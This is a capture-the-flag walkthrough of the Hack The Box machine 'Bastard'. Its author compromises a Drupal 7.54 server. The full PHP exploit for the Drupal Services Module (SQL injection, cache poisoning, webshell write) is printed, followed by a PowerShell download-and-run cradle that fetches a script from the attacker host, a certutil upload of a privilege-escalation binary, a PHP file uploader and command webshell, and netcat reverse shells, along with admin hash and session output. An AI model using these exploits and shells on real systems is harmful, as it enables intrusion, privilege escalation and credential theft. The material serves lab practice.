Web:- Drupal Service is running
and by checking /CHANGELOG.txt which we found in the nmap scan of robots.txt, we can see the version installed of drupal is 7.54
For which there is a public exploit available Drupal-Services-Module-rce
root@webmail:~/Downloads# cat puckie.php #!/usr/bin/php <?php # Drupal Services Module Remote Code Execution Exploit # https://www.ambionics.io/blog/drupal-services-module-rce # cf # # Three stages: # 1. Use the SQL Injection to get the contents of the cache for current endpoint # along with admin credentials and hash # 2. Alter the cache to allow us to write a file and do so # 3. Restore the cache # # Initialization error_reporting(E_ALL); define('QID', 'anything'); define('TYPE_PHP', 'application/vnd.php.serialized'); define('TYPE_JSON', 'application/json'); define('CONTROLLER', 'user'); define('ACTION', 'login'); $url = 'http://10.10.10.9'; $endpoint_path = '/rest'; $endpoint = 'rest_endpoint'; $file = [ 'filename' => 'puckie.php', 'data' => '<?php echo(system($_GET"cmd"])); ?>' ]; $browser = new Browser($url . $endpoint_path); # Stage 1: SQL Injection class DatabaseCondition { protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } } } class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); } } $cache_id = "services:$endpoint:resources"; $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; # Take first user but with a custom password # Store the original password hash in signature_format, and endpoint cache # in signature $query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0" ; $query = new SelectQueryExtender($query); $data = ['username' => $query, 'password' => 'ouvreboite']; $data = serialize($data); $json = $browser->post(TYPE_PHP, $data); # If this worked, the rest will as well if(!isset($json->user)) { print_r($json); e("Failed to login with fake password"); } # Store session and user data $session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token ]; store('session', $session); $user = $json->user; # Unserialize the cached value # Note: Drupal websites admins, this is your opportunity to fight back :) $cache = unserialize($user->signature); # Reassign fields $user->pass = $user->signature_format; unset($user->signature); unset($user->signature_format); store('user', $user); if($cache === false) { e("Unable to obtains endpoint's cache value"); } x("Cache contains " . sizeof($cache) . " entries"); # Stage 2: Change endpoint's behaviour to write a shell class DrupalCacheArray { # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); } } class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry; } cache_poison($endpoint, $cache); # Write the file $json = (array) $browser->post(TYPE_JSON, json_encode($file)); # Stage 3: Restore endpoint's behaviour cache_reset($endpoint, $cache); if(!(isset($json[0]) && $json[0] === strlen($file['data']))) { e("Failed to write file."); } $file_url = $url . '/' . $file['filename']; x("File written: $file_url"); # HTTP Browser class Browser { private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); } } # Cache function cache_poison($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr); } function cache_reset($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr); } function cache_edit($tr) { global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data); } # Utils function x($message) { print("$message\n"); } function e($message) { x($message); exit(1); } function store($name, $data) { $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename"); } root@webmail:~/Downloads#
Now before you run the exploit make sure the main drupal login page is open in your browser or it will show you the error Failed to login with fake password or if you still see this error even after opening the login page in browser then revert the machine and try again.
root@webmail:~/Downloads# php puck.php Stored session information in session.json Stored user information in user.json Cache contains 7 entries File written: http://10.10.10.9/puckie.php root@webmail:~/Downloads# cat session.json "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913", "session_id": "2g9Xa0yhMXY3-qmamOQKxlcxqeSNR0-qeGDhjEc2ZAs", "token": "pHCtfwKWFyz16XllBp6cVN2O3BN5Wt7tmEuMWIt9iNU" root@webmail:~/Downloads# root@webmail:~/Downloads# cat user.json "uid": "1", "name": "admin", "mail": "drupal@hackthebox.gr", "theme": "", "created": "1489920428", "access": "1550602246", "login": 1550602520, "status": "1", "timezone": "Europe\/Athens", "language": "", "picture": null, "init": "drupal@hackthebox.gr", "data": false, "roles": { "2": "authenticated user", "3": "administrator" }, "rdf_mapping": { "rdftype": [ "sioc:UserAccount" ], "name": { "predicates": [ "foaf:name" ] }, "homepage": { "predicates": [ "foaf:page" ], "type": "rel" } }, "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE" root@webmail:~/Downloads#
If you get any error like PHP Fatal error: Uncaught Error: Call to undefine function curl_init() possibilities are you don’t have php-curl installed in your machine so to solve this you just need to download it and restart the apache server and then run the exploit again.
Now after the exploit completed sucessfully it will give use a link where the file has been written and created a new user in drupal and 2 new files (session.json) and (user.json) in your current directory and if you look inside the session.json file you will see (session_ID, name and token) and we will edit and use this to gain admin access on the web.
Now we need to edit this file session.json
The session file is in format:-
-Session_name:abc
-Session_id:def
-Token:xyz
Now we need to edit this like this
–abc=def;token=xyz
It will look something like this
root@webmail:~/Downloads# cat session.json { "session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913", "session_id": "-Mq24JFeq9OhVd5iuIRXY2AHZdHlq0MNplg7uJ9eH48", "token": "lIM6DzLqQtpKQCXGC8XuGDyo_erIA0NbV2DIdbcdYIM" }
This is the cookie which we will use to get admin access, Now before we proceed make sure to open 3 links :
- The main drupal login page :- http://10.10.10.9/
- The admin pannel which will show 403 access denied for now :- http://10.10.10.9/admin
- And the link which the php exploit gave us :- http://10.10.10.9/dixuSOspsOUU.php
Now capture the request of /admin page in burp and replace the cookie with our cookies.
We have to modify the cookie in this format.
And forward the request and we will get the admin access
Another simple way is to use cookie manager and get admin access easily, But there is no fun without learning a new thing.
Now we have only access to this page, and if you open another page it will still show you 403 error because the cookie is set for this page only, and to set the cookie for all pages we need to set it manually.
Press F12, then click on console and define the cookie:-
document.cookie = “SESSd873f26fc………..6kti6qyA2xkjk110-wOFCKgvGPY”
The cookie has been set, now we can move around to other pages.
First click on Modules in the main toolbar of the page adb find _PHP filter and check the box and save the configuration.
Click on the Add content tab below the Dashboard on the upper left corner of the page and insided it click on > Basic Pages
Now in there we can setup our netcat listener to catch a shell netcat session
10.10.10.9/puck.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/puckieshell443.ps1') | powershell -noprofile -
C:\Users\jacco>nc -lvp 443 listening on [any] 443 ... 10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA connect to [10.10.14.2] from (UNKNOWN) [10.10.10.9] 49404: NO_DATA Windows PowerShell running as user BASTARD$ on BASTARD Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\inetpub\drupal-7.54>whoami nt authority\iusr PS C:\inetpub\drupal-7.54>
I came across this exploit on github https://github.com/Re4son/Chimichurri/
Now that we have a shell we can use the upload function of certutil to uploaded Chimichurri.exe to C:\inetpub\drupal-7.54\
c:\Python37>python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.9 - - [07/Mar/2019 18:10:53] "GET /puckieshell443.ps1 HTTP/1.1" 200 - 10.10.10.9 - - [07/Mar/2019 18:17:54] "GET /Chimichurri.exe HTTP/1.1" 200 -
PS C:\inetpub\drupal-7.54> certutil -urlcache -split -f http://10.10.14.20/Chimichurri.exe **** Online **** 000000 ... 017c00 CertUtil: -URLCache command completed successfully. PS C:\inetpub\drupal-7.54> dir chim* Directory: C:\inetpub\drupal-7.54 Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 7/3/2019 7:17 ?? 97280 Chimichurri.exe PS C:\inetpub\drupal-7.54> ./Chimichurri.exe 10.10.14.20 5555
Next I Started a netcat listener on my host machine to catch root with Chimichurri.exe <my ip> 5555
I got another shell but this time as root.
C:\Users\jacco>nc64.exe -lvp 5555 listening on [any] 5555 ... 10.10.10.9: inverse host lookup failed: h_errno 11004: NO_DATA connect to [10.10.14.20] from (UNKNOWN) [10.10.10.9] 62008: NO_DATA Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\inetpub\drupal-7.54>whoami whoami nt authority\system C:\inetpub\drupal-7.54>
Doing Bastard from HTB I had troubles getting reverse shell back from it, but in the end simple solution worked like a charm. This piece of PHP code (from ippSec video)
root@webmail:~/Downloads# cat phpupload.php <?php # php file uploader and executer if (isset($_REQUEST['fupload'])) { file_put_contents($_REQUEST['fupload'], file_get_contents("http://192.168.178.12/" . $_REQUEST['fupload'])); }; if (isset($_REQUEST['fexec'])) { echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>"; }; ?>
Serve up nc64.exe from your machine and download it
http://10.10.14.2/phpupload.php?fupload=nc64.exe
c:\Python37>python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.14.2 - - [19/Feb/2019 20:57:03] "GET /puckieshell443.ps1 HTTP/1.1" 200 - 10.10.14.2 - - [19/Feb/2019 21:40:12] "GET /nc64.exe HTTP/1.0" 200
Execute and catch shell
http://10.10.10.9/phpupload?fexec=nc64.exe 10.10.14.2 1234 -e cmd.exe
just for fun: https://github.com/lorddemon/drupalgeddon2
root@kali:~/htb/bastard/drupalgeddon2# python drupalgeddon2.py -h http://10.10.10.9 -c 'type c:\users\dimitris\desktop\user.txt' ba2*****1a2